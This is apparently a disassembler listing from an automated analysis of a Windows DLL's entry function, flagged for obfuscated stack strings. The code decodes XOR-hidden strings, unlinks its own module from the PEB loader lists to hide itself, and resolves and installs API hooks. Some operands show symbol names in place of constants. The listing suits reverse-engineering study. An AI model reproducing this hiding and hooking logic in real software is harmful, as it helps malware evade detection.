Function at 0x180011590
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rdi, rcx
cmp edx, 1
jne 0x180011a80
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp byte [0x180094830], 0
jne 0x180011a80
mov qword [rsp + 0xd0], r14
lea rax, [rbp + 0x1f]
mov byte [0x180094830], 1
mov cl, reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x2c], 0xf000f7b
mov dword [rbp + 0x28], 0x6e6b2164
mov dword [rbp + 0x24], 0x60606722
mov dword [rbp + 0x20], 0x76616061
mov byte [rbp + 0x1f], WSASetLastError
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp + 0x2e]
cmp rax, rcx
je 0x180011614
movzx ecx, byte [rbp + 0x2f]
jmp 0x180011600
mov r14, 0xffffffffffffffff
mov byte [rbp + 0x2e], 1
mov r8, r14
lea rax, [rbp + 0x1f]
inc r8
cmp byte [rax + r8], 0
jne 0x180011626
lea rdx, [rbp + 0x1f]
lea rcx, [0x180093430]
call fcn.1800130c0
mov ecx, reloc.WS2_32.dll_listen
mov dword [0x1800947d0], 0x89
mov byte [rbp + 0x51], 0
lea rax, [rbp + 0x37]
mov word [rbp + 0x53], cx
mov dword [rbp + 0x4d], 0xd007e
lea edx, [rcx + 0x72]
mov dword [rbp + 0x49], 0x6a007f
mov word [rbp + 0x37], dx
mov dword [rbp + 0x45], 0x6c0023
mov dword [rbp + 0x41], 0x680060
mov dword [rbp + 0x3d], 0x640079
mov dword [rbp + 0x39], 0x630078
nop dword [rax]
xor word [rax], cx
add rax, 2
lea rcx, [rbp + 0x51]
cmp rax, rcx
je 0x1800116a6
movzx ecx, word [rbp + 0x53]
jmp 0x180011690
mov byte [rbp + 0x51], 1
lea rax, [rbp + 0x37]
mov rdx, r14
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1800116b1
mov rax, qword [reloc.WS2_32.dll_getsockopt]
mov qword [rsp + 0xc8], rsi
cmp rdx, rax
ja 0x180011714
cmp rax, 8
mov qword [0x1800933b8], rdx
lea rsi, [0x1800933a8]
mov qword [rsp + 0xc0], rbx
cmovae rsi, qword [0x1800933a8]
lea rbx, [rdx + rdx]
mov rcx, rsi
lea rdx, [rbp + 0x37]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov word [rbx + rsi], ax
mov rbx, qword [rsp + 0xc0]
jmp 0x180011724
lea r9, [rbp + 0x37]
lea rcx, [0x1800933a8]
call fcn.1800083c0
mov rax, qword gs:[0x60]
mov rsi, qword [rsp + 0xc8]
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x18]
mov rax, r8
mov rcx, qword [rax + 0x30]
test rcx, rcx
je 0x180011767
lea rdx, [rax + 8]
cmp rcx, rdi
jne 0x18001175f
mov rcx, qword [rax]
mov rax, qword [rdx]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rax, qword [rdx]
cmp rax, r8
jne 0x180011740
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x28]
mov rax, r8
nop dword [rax + rax]
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x1800117a7
lea rdx, [rax + 8]
cmp rcx, rdi
jne 0x18001179f
mov rcx, qword [rax]
mov rax, qword [rdx]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rax, qword [rdx]
cmp rax, r8
jne 0x180011780
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x38]
mov rax, r8
nop dword [rax + rax]
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x1800117e7
lea rdx, [rax + 8]
cmp rcx, rdi
jne 0x1800117df
mov rcx, qword [rax]
mov rax, qword [rdx]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rax, qword [rdx]
cmp rax, r8
jne 0x1800117c0
lea rcx, str._______________________________________________________________n
call fcn.18001fa20
mov rax, qword [0x180094820]
xor ecx, ecx
mov qword [0x1800947c0], rdi
mov dword [rax], ecx
mov word [rax + 4], cx
mov byte [rax + 6], cl
call fcn.18001b220
cmp byte [0x1800947bb], 1
jne 0x1800118c2
mov dword [rbp - 0x2a], 0x900093b
lea rax, [rbp - 0x31]
mov cl, 9
mov dword [rbp - 0x2e], 0x3a656c67
mov word [rbp - 0x30], 0x7b6c
mov byte [rbp - 0x31], 0x62
nop dword [rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 0x28]
cmp rax, rcx
je 0x180011854
movzx ecx, byte [rbp - 0x27]
jmp 0x180011840
mov byte [rbp - 0x28], 1
lea rax, [rbp - 1]
mov dword [rbp + 9], 0xc000c3e
mov cl, listen
mov dword [rbp + 5], 0x6960654a
mov dword [rbp + 1], 0x69786d69
mov word [rbp - 1], 0x7e4f
nop dword [rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp + 0xb]
cmp rax, rcx
je 0x180011894
movzx ecx, byte [rbp + 0xc]
jmp 0x180011880
lea rcx, [rbp - 0x31]
mov byte [rbp + 0xb], 1
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [0x1800947a8]
lea rdx, [0x180010f00]
jmp 0x180011a2d
cmp byte [0x1800947b9], 1
jne 0x18001198f
mov dword [rbp - 0x35], 0x600066a
lea rax, [rbp - 0x39]
mov cl, 6
mov dword [rbp - 0x39], 0x6a627248
nop dword [rax]
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 0x33]
cmp rax, rcx
je 0x180011904
movzx ecx, byte [rbp - 0x32]
jmp 0x1800118f0
mov byte [rbp - 0x33], 1
lea rax, [rbp - 0x11]
mov dword [rbp - 8], 0xb000b6e
mov cl, 0xb
mov dword [rbp - 0xc], 0x67624d6f
mov dword [rbp - 0x10], 0x6a6e597f
mov byte [rbp - 0x11], 0x45
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 6]
cmp rax, rcx
je 0x180011944
movzx ecx, byte [rbp - 5]
jmp 0x180011930
lea rcx, [rbp - 0x39]
mov byte [rbp - 6], 1
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
lea r8, [0x1800947b0]
lea rdx, [0x1800109c0]
cmove rax, r14
mov rcx, rax
mov qword [0x1800947f0], rax
call fcn.18001b2b0
mov rcx, qword [0x1800947f0]
jmp 0x180011a4a
mov dword [rbp - 0x1a], 0x900093b
lea rax, [rbp - 0x21]
mov cl, 9
mov dword [rbp - 0x1e], 0x3a656c67
mov word [rbp - 0x20], 0x7b6c
mov byte [rbp - 0x21], 0x62
nop dword [rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 0x18]
cmp rax, rcx
je 0x1800119c4
movzx ecx, byte [rbp - 0x17]
jmp 0x1800119b0
mov byte [rbp - 0x18], 1
lea rax, [rbp + 0xf]
mov dword [rbp + 0x19], 0xc000c5b
mov cl, listen
mov dword [rbp + 0x15], 0x6960654a
mov dword [rbp + 0x11], 0x69786d69
mov word [rbp + 0xf], 0x7e4f
nop dword [rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp + 0x1b]
cmp rax, rcx
je 0x180011a04
movzx ecx, byte [rbp + 0x1c]
jmp 0x1800119f0
lea rcx, [rbp - 0x21]
mov byte [rbp + 0x1b], 1
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [0x1800947a0]
lea rdx, [0x1800102e0]
test rax, rax
cmove rax, r14
mov rcx, rax
mov qword [0x1800947f8], rax
call fcn.18001b2b0
mov rcx, qword [0x1800947f8]
mov edx, 1
call fcn.18001b5a0
mov edx, eax
lea rcx, str.hook_p_n
call fcn.180009a20
mov r14, qword [rsp + 0xd0]
mov eax, 1
mov rdi, qword [rsp + 0xd8]
add rsp, 0xb0
pop rbp
ret
mov rdi, qword [rsp + 0xd8]
mov eax, 1
add rsp, 0xb0
pop rbp
ret